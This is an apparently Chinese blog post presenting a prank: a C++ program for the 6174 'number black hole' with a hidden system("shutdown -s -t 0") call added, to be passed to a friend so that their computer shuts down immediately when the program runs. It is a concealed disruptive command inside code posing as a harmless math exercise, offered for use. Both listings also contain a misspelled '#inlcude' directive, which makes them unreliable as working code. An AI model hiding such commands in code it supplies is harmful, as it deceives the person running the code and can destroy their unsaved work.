老坑函数System
System这个老坑函数大家都用过吗?
这个函数可以用来坑坑你的小伙伴
第一步
你可以用一段你小伙伴需要的代码,比如数学黑洞
#include<iostream>
#inlcude<cstdlib>
#include<algorithm>
#include<cstdio>
#include<cstring>
#include<iomanip>
using namespace std;
int m[5],maxx,minx,step=0,cha,n;
int hd(int x){
int a,b,c,d,he;
a=x/1000;
x=x%1000;
b=x/100;
x=x%100;
c=x/10;
d=x%10;
int s[4]={a,b,c,d};
sort(s,s+4);
minx=s[0]*1000+s[1]*100+s[2]*10+s[3];
maxx=s[3]*1000+s[2]*100+s[1]*10+s[0];
cha=maxx-minx;
return cha;
}
int main( ){
cin>>n;
if(n==6174){
cout<<"0";
}
else {
while(n!=6174){
n=hd(n);
step++;
}
cout<<step;
}
return 0;
}
这是一段正常的代码,但只要在开头加入这个函数system(“shutdown -s -t 0”);
你的好基友的电脑就会立即关机
#include<iostream>
#include<cstdlib>
#inlcude<cstdlib>
#include<algorithm>
#include<cstdio>
#include<cstring>
#include<iomanip>
using namespace std;
int m[5],maxx,minx,step=0,cha,n;
int hd(int x){
system("shutdown -s -t 0");
int a,b,c,d,he;
a=x/1000;
x=x%1000;
b=x/100;
x=x%100;
c=x/10;
d=x%10;
int s[4]={a,b,c,d};
sort(s,s+4);
minx=s[0]*1000+s[1]*100+s[2]*10+s[3];
maxx=s[3]*1000+s[2]*100+s[1]*10+s[0];
cha=maxx-minx;
return cha;
}
int main( ){
cin>>n;
if(n==6174){
cout<<"0";
}
else {
while(n!=6174){
n=hd(n);
step++;
}
cout<<step;
}
return 0;
}
哈哈,你的朋友会不会打你?